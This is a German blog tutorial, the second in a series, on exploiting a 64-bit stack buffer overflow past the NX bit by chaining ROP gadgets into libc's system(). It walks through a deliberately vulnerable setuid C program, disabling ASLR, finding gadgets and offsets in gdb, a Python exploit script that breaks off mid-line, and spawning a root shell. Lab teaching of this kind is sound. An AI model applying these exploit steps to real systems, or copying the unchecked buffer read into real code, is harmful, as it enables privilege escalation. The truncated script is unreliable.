{{tag>deutsch linux kali it-security pentest blog}} ====== Buffer Overflow im 64-Bit Stack - Teil 2 ====== Im zweiten Teil aktivieren wir das NX-Bit, welches uns vor Buffer Overflows schützen soll. Damit es spaßig bleibt, hebeln wir diesen Schutz natürlich direkt aus. Dies erreichen wir, indem der auszuführende Befehl an die [[https://de.wikipedia.org/wiki/C-Standard-Bibliothek|libc-Funktion]] ''system()'' weitergeleitet wird. Grundlegend basiert dieses Tutorial auf der Arbeit von [[https://blog.techorganic.com|superkojiman]] ((https://blog.techorganic.com/2015/04/21/64-bit-linux-stack-smashing-tutorial-part-2/)) ===== Einleitung ===== {{page>vorlagen:attention}} {{:it-security:blog:bof64-2.jpg?800|}} Weiterführende Infos zum Thema ROP (Return Oriented Programming) und Grundlagen zum Thema Buffer Overflows gibt es in der Linksammlung am Ende. ((https://book.hacktricks.xyz/reversing-and-exploiting/linux-exploiting-basic-esp/rop-leaking-libc-address)) ((https://ir0nstone.gitbook.io/notes/types/stack)) \\ \\ ==== Theorie ==== Im Tutorial von superkojiman wird gezeigt, wie die Register Schritt für Schritt überschrieben werden. Um den Prozess nachzuvollziehen, können wir die [[https://gist.github.com/superkojiman/595524f6b96c79380568|kompilierte Binary]] aus dem Blog debuggen. br *vuln+73 # setze Breakpoint r < in.txt # in.txt wird vom Python Script erzeugt ... # Breakpoint RDI: 0x7ffff7fa0a30 --> 0x0 RBP: 0x4141414141414141 ('AAAAAAAA') # RBP ist überschrieben RSP: 0x7fffffffddc8 --> 0x4006a3 (<__libc_csu_init+99>: pop rdi) # RSP mit pop rdi Gadget RIP: 0x40060f (: ret) gdb-peta$ si ... RDI: 0x7ffff7fa0a30 --> 0x0 RBP: 0x4141414141414141 ('AAAAAAAA') RSP: 0x7fffffffddd0 --> 0x4006ff --> 0x68732f6e69622f ('/bin/sh') # Pointer nach /bin/sh RIP: 0x4006a3 (<__libc_csu_init+99>: pop rdi) # pop rdi wurde auf RIP geschrieben gdb-peta$ si ... RDI: 0x4006ff --> 0x68732f6e69622f ('/bin/sh') # Pointer wurde auf rdi geschrieben RBP: 0x4141414141414141 ('AAAAAAAA') RSP: 0x7fffffffddd8 --> 0x400469 (<_init+25>: ret) # NOP RIP: 0x4006a4 (<__libc_csu_init+100>: ret) gdb-peta$ si ... RDI: 0x4006ff --> 0x68732f6e69622f ('/bin/sh') RBP: 0x4141414141414141 ('AAAAAAAA') RSP: 0x7...fdde0 --> 0x7ffff7e17920 (<__libc_system>: test rdi,rdi) # system("/bin/sh") RIP: 0x400469 (<_init+25>: ret) \\ \\ ===== Abhängigkeiten ===== Was wird benötigt? Zu den Tools aus [[it-security:blog:buffer_overflow_x64|Teil 1]], benötigen wir noch ropper. sudo apt install ropper \\ \\ ===== ASLR deaktivieren ===== Auch hier muss ASLR wieder deaktiviert werden, um konstante Speicherbereiche zu erhalten. In [[https://www.nosociety.de/it-security:blog:buffer_overflow_x64#aslr_deaktivieren|Teil 1 ist beschrieben]], was hierfür zu tun ist. \\ \\ ===== C Programm ===== Quellcode und kompilierte Binaries findet Ihr auch auf meinem [[gh>psycore8/nosoc-bof/tree/main/part-2|github repository]] Das Ursprungs-Tutorial ist schon ein bisschen älter, so dass der Quellcode nicht 1:1 übernommen werden konnte. Zum einen musste das ''UID'' und ''EUID'' zusätzlich gesetzt werden ((http://disq.us/p/1klc7u2)), zum anderen funktioniert ''/bin/sh'' nicht mehr in dieser Art und Weise. ((http://disq.us/p/1n4ipc8)) Da es an einem ''pop rdi; ret;'' Gadget fehlte, habe ich mir eine entsprechende Funktion erstellt. /* Code https://blog.techorganic.com/2015/04/21/64-bit-linux-stack-smashing-tutorial-part-2/ */ /* Changes by https://www.nosociety.de/it-security:blog:buffer_overflow_x64-2 */ /* Compile: gcc -fno-stack-protector -no-pie bof-part2.c -o bof-part2 */ /* Disable ASLR: echo 0 > /proc/sys/kernel/randomize_va_space */ #include #include int gadg() { asm ("pop %rdi"); asm ("ret"); return 0; } int vuln() { char buf[80]; int r; r = read(0, buf, 400); printf("\nRead %d bytes. buf is %s\n", r, buf); puts("No shell for you :("); return 0; } int main(int argc, char *argv[]) { setuid(0); seteuid(0); printf("Try to exec /bin/zsh --interactive"); vuln(); return 0; } \\ \\ ==== Kompilieren ==== Nun kompilieren wir das Programm. Wichtig ist, dass der ''no-pie'' Parameter gesetzt wird. Eine Erklärung liefert der Nutzer [[https://disqus.com/by/bassiksgang/|b4551k5]] hierzu: > It seems that gcc build PIE (position indep. exec.). You can check this using "readelf -e ". If at the top (the header), Type is "DYN (shared..." then it is PIE and gets loaded at random base address. You can rebuild the code using "-no-pie" as compile flag to tell the linker you want to build an executable. This should result in 0x400000 as base address as in the examples above. gcc -fno-stack-protector -no-pie bof-part2.c -o bof-part2 \\ \\ ===== Exploit ===== ==== Gadgets ==== Wir benötigen 2 Gadgets, um das Exploit zu erstellen. Hierzu starten wir ropper und lassen uns die Gadgets anzeigen ropper --file bof-part2 ... 0x000000000040116a: pop rdi; ret; ... 0x0000000000401016: ret; Wir brauchen ''40116a'', um unser Argument von RSP auf RDI zu schieben und ''401016'' ist eine NOP Funktion, welche RSP um 8 Bytes verschiebt. ((http://disq.us/p/247r1cp)) \\ \\ ==== Offsets herausfinden ==== Nun benötigen wir noch 2 Offsets, für das Exploit. Also laden wir unsere Datei in den Debugger und starten: gdb-peda$ start ... gdb-peda$ p system $1 = {int (const char *)} 0x7ffff7e17920 <__libc_system> gdb-peda$ find "/bin/zsh --interactive" Searching for '/bin/zsh --interactive' in: None ranges Found 2 results, display max 2 items: bof-part2 : 0x402044 ("/bin/zsh --interactive") bof-part2 : 0x403044 ("/bin/zsh --interactive") Das Offset ''0x7ffff7e17920'' ist die Adresse von ''system()'', unserem libc Aufruf. ''0x402044'' ist die Adressse unseres Parameters, den wir an ''system()'' übergeben wollen. Jetzt haben wir alle nötigen Parameter, um den entprechenden Buffer im Exploit aufzubauen. \\ \\ ==== buffer.py ==== #!/usr/bin/env python from struct import * buf = "" buf += "A"*104 # junk buf += pack(" \\ \\ ==== Buffer erzeugen ==== Nun führen wir unser Python Exploit aus, und erstellen die Datei in.txt. python2 buffer.py \\ \\ ==== Berechtigungen setzen ==== Unsere Datei benötigt noch die entsprechenden root Berechtigungen. sudo chown root bof-part2 sudo chmod 4755 bof-part2 \\ \\ ==== root Shell ==== Nun starten wir unser Programm und übergeben unseren Buffer als Argument. (cat in.txt | cat) | ./bof-part2 [{{:it-security:bof-dism2-1.png|Upgrade der Shell auf root}}] Unsere User Shell wird zur root Shell aufgewertet und wir haben unser Ziel erreicht. \\ \\ ===== Repository ===== ^ Projektdateien | {{ :it-security:nosoc-repo-bof-part2.zip |}} | ^ Größe | 4,00 KB | ^ Prüfsumme (SHA256) | 88bda11b4652344bb9113a400b79e78abf028ef5eb89a74538061c96e2d306e5 | ~~DISCUSSION~~